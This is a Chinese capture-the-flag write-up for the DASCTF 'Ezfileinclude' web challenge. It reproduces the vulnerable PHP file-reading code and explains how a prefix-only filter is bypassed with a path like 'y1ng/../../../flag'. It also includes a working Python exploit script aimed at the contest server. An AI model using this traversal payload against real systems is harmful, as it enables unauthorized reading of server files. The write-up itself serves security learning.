安恆七月賽DASCTFweb類之Ezfileinclude


Ezfileinclude

1. 先介紹一下自己在做題中的問題。

打開題目是一個簡單的頁面,F12查看源代碼,發現一個image.php?t=1595656230&f=Z3F5LmpwZw==
然后仔細一看,發現t表示時間戳,f是表示文件名。解密之后是gqy.jpg。

2. 大致思路

我們需要獲得當前的時間戳,和需要包含的文件名去讀取flag文件。

3. 問題

自己在做題的時候不該怎么樣操作都不能獲得flag文件?問題可能是路徑不對?文件名不對?
但是我嘗試獲得index.php文件的時候也沒有獲取成功。和嘗試獲取/etc/passwd也沒有成功?
說明肯定有問題?
最后嘗試獲得/gqy.jpg,居然成功了!!!但是當時沒有發現問題

4. 查看官方的wp

查看了官方的wp之后從發現,$file是進行了拼接操作的!
所以我們可以獲得/gqy.jpg,其他的不能獲得。
之后查看了源代碼

<?php

    if(!isset($_GET['t']) || !isset($_GET['f'])){
        echo "you miss some parameters";
        exit();
    }
    
    $timestamp = time();

    if(abs($_GET['t'] - $timestamp) > 10){
        echo "what's your time?";
        exit();
    }

    $file = base64_decode($_GET['f']);
    
    if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
        echo 'You are not allowed to do that.';
    }
    else{
        echo file_get_contents('/var/www/html/img/'.$file);
    }

?>

發現確實是進行了拼接操作,file拼接了前面的/var/www/html/img

5. 解題

現在查看了源代碼,這樣就方便多了。
我們在看waf代碼這一塊。是使用了substr()函數和strlen()函數來進行判斷。
過濾原則是:用戶輸入的file進行截取前面4位或者3位或者2位判斷是不是存在/../,../等等
我們在本地實驗看看如何繞過。
第一次我們正常輸入是直接攔截了的

如果我們在前面添加其他目錄在進行穿越,只有滿足前4位不能規定的符號就可以繞過。

發現直接繞過成功。

6. payload

這里附上官方的exp(由於本人python比較菜還不會寫py)

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 穎奇L'Amore www.gem-love.com
import requests as req#重新命名
import base64 as b
import time as t
from urllib.parse import quote_plus as urlen

HOST = "http://183.129.189.60:10009/image.php?t={}&f=".format(int(t.time()))#h獲得當前的時間戳給參數
file = 'y1ng/../../../../../../../flag'#構造file
file = b.b64encode(file.encode("utf-8")).decode("utf-8")#對file進行base64加密
url = HOST+urlen(file)#拼接參數
print(req.get(url).text)#打印結果

7. 總結

在進行文件包含的時候,可能存在一定的waf,和對file進行拼接。
需要多多思考,想辦法繞過waf.

參考:
https://www.gem-love.com/ctf/2514.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM